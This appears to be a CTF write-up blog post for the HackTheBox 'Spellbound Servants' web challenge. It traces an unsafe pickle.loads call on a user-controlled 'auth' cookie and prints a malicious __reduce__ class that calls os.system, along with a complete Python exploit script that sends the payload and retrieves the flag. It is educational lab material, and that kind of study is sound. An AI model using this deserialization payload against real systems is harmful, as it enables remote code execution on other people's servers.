Spellbound Servants
2025-01-24
INTRODUCTION
I’m not quite sure about the description on this one… To me, it just looks like a partially-finished storefront 😂
As long as you don’t get too bogged-down with all the Flask-related code, this challenge is really easy. A bit of code analysis leads directly to the solution, which involves only a single step of deserialization to accomplish. Besides the vulnerability, this challenge presents a great example of writing a clean & tidy Flask server.
FIRST TAKE
When we navigate to the target, there is a simple login / registration pane presented:
After registration, we can login, and see a few different products displayed in a simple carousel. Seemingly, these are the only two pages for the challenge.
The Add to Cart and Add to Wishlist buttons don’t seem to actually do anything, so there will be no Cart functionality to play with.
👀 Actually, I don’t really see anything interactive…
Since we have access to all the source code, we can see that there isn’t really anything strange happening with the registration process. It stores the passwords in plaintext (obviously a bad idea, but so far we don’t see any reason that the database itself might be vulnerable so we’ll ignore that for now):
def query(query, args=(), one=False):
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
# ...
def register_user_db(username, password):
check_user = query('SELECT username FROM users WHERE username = %s', (username,), one=True)
if not check_user:
query('INSERT INTO users(username, password) VALUES(%s, %s)', (username, password,))
mysql.connection.commit()
return True
return False
It seems to use a parameter query properly, and has set one=True
, so the basic mitigations against SQLi are already in-place for the registration endpoint.
Something strange I noticed upon logging in is that we’re granted a new cookie called auth
. We have a session cookie too, but for some reason both mechanisms are in place.
Checking the contents of the auth
cookie shows right away that something is seriously wrong:
This is the format of a Python pickle, which are famous for being vulnerable to deserialization attacks when improperly handled! The “tell” is in the nonprintable characters at the beginning (with a curly brace), and the final two characters being s.
FIND THE VULN
If we can find out how the auth
cookie is read, we will be able to see how the cookie value is used. If it’s deserialized unsafely, we should be able to use a deserialization attack against this target.
Run it locally with a terminal
To explore how the target looks as it’s running, we can open a terminal inside the docker container.
Modify build-docker.sh
and entrypoint.sh
to allow for a shell to open instead of running supervisord
in the foreground. For build-docker.sh
, add -it
and run sh
after the run target:
#docker run -p 1337:1337 --rm --name=web_spellbound_servants web_spellbound_servants
docker run -it -p 1337:1337 --rm --name=web_spellbound_servants web_spellbound_servants sh
In entrypoint.sh
, set supervisord
to run in the background and exec sh
after everything is done:
# background supervisord instead
/usr/bin/supervisord -c /etc/supervisord.conf &
exec sh
Source code analysis
We can grep
the source code for the keyword cookies
(the request
attribute that Flask accesses to get the request cookies), and see in util.py
the isAuthenticated
wrapper decorator:
For anyone unfamiliar: a wrapper decorator is used a lot like middleware is used in Express or other frameworks.
It allows a function to be executed along the request
def isAuthenticated(f):
@wraps(f)
def decorator(*args, **kwargs):
token = request.cookies.get('auth', False)
if not token:
return abort(401, 'Unauthorised access detected!')
try:
user = pickle.loads(base64.urlsafe_b64decode(token))
kwargs['user'] = user
return f(*args, **kwargs)
except:
return abort(401, 'Unauthorised access detected!')
return decorator
😍 There are no attempts to validate or sanitize the pickle. The pickle.loads()
function is called on a completely user-controlled value. This means we can definitely perform a deserialization attack.
We can check the routes.py
blueprint to see how the isAuthenticated
wrapper decorated gets used. It is only called in one place - for the /home
route (the page that displays the carousel of items for sale):
@web.route('/home', methods=['GET', 'POST'])
@isAuthenticated
def homeView(user):
return render_template('index.html', user=user)
Strategy
Since there is no protection on the auth
cookie, and it is completely user-controlled, we can probably perform our attack by doing the following:
- Craft a malicious pickle payload that contains an OS shell command injection
- Pickle our payload and decode it to an ASCII string
- Overwrite the
auth
cookie with our payload and refresh the page.
The question that remains is “What should the OS shell command injection be?” 🤔
Well, we could open a reverse shell. This is a challenge that doesn’t use the HackTheBox VPN, so it is slightly more complicated than usual. For details on how to pull that off, please check out my walkthrough on the C.O.P. web challenge.
We could alternatively just copy the flag into the /static
directory of the webserver. Files in there are served by default, so if we can issue a single command to copy the flag, we can read the flag by checking the correct URL. (This is much easier than opening a reverse shell without a VPN.)
EXPLOIT
Make the payload
By reading the Dockerfile
or by checking the locally-running docker container, we know
- The flag is at
/flag.txt
- The static directory is at
/app/application/static
Therefore, our payload should be:
cp /flag.txt /app/application/static/flag.txt
Check out this article on crafting malicious pickles; I reference it often. The gist is that we need to create a python class
with the __reduce__()
method implemented, and the __reduce__()
method will contain a reference to os.system
and an argument for it (the command-injection payload)
The malicious class can be as simple as this:
import os
# ...
class User:
def __init__(self, user):
self.username = user
def __reduce__(self):
cmd = 'cp /flag.txt /app/application/static/flag.txt'
return os.system, (cmd,)
Put the pickle in the cookie 😋
To get pickle an object of this class, we instantiate it then pickle it with pickle.dumps()
. We want the pickled object as an ASCII representation of the base64-encoded pickle, so we can do that in Python too:
import pickle
import base64
# ...
pickled = pickle.dumps(User('jimbob'))
pickled_str = base64.urlsafe_b64encode(pickled).decode('ascii')
print(f'\nTHE PICKLED STRING IS \"{pickled_str}\"\n')
I think you could probably solve the challenge by running the script with just those two components and pasting the printed value into your browser’s auth
cookie
Payload delivery
Personally, I prefer to solve the whole challenge in python as a self-contained exploit script. We do this by issuing two web requests:
GET /home
and include the malicious pickle as theauth
cookie. The payload should be delivered, and copy the flag into the/static
directoryGET /static/flag.txt
to retrieve the flag.
I’ve also parameterized the target URL (but I was too lazy to use argparse
):
#!/usr/bin/env python3
import sys
import requests
import pickle
import base64
import os
def print_usage():
print(f"Usage: python3 {sys.argv[0]} <url>")
print("Example: python3 {sys.argv[0]} 83.136.250.116:49992")
def print_response(response, parts=['status','headers','body']):
if 'status' in parts:
print(f"HTTP/1.1 {response.status_code} {response.reason}")
if 'headers' in parts:
print(f"Headers:")
for key, value in response.headers.items():
print(f"{key}: {value}")
if 'body' in parts:
print(f"\nResponse Body:\n{response.text}")
class User:
def __init__(self, user):
self.username = user # Instance variable
def __reduce__(self):
cmd = 'cp /flag.txt /app/application/static/flag.txt'
return os.system, (cmd,)
def main():
# Parse args
if len(sys.argv) != 2:
print_usage()
sys.exit(1)
pickled = pickle.dumps(User('jimbob'))
pickled_str = base64.urlsafe_b64encode(pickled).decode('ascii')
# Do the exploit
try:
url = f"http://{sys.argv[1]}/home"
cookies = {'auth': pickled_str}
response = requests.get(url, cookies=cookies, timeout=3)
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
# Try to get the flag
try:
url = f"http://{sys.argv[1]}/static/flag.txt"
response = requests.get(url)
print_response(response, parts=['status', 'body'])
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
main()
Testing the script
We can try running the script against the local docker container:
Perfect! Worked first try 😉
Try it live
To do this against the live server, we just change the URL. You don’t even need to visit the target website or register a user, just yeet the payload right at it:
🍰 Fantastic
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake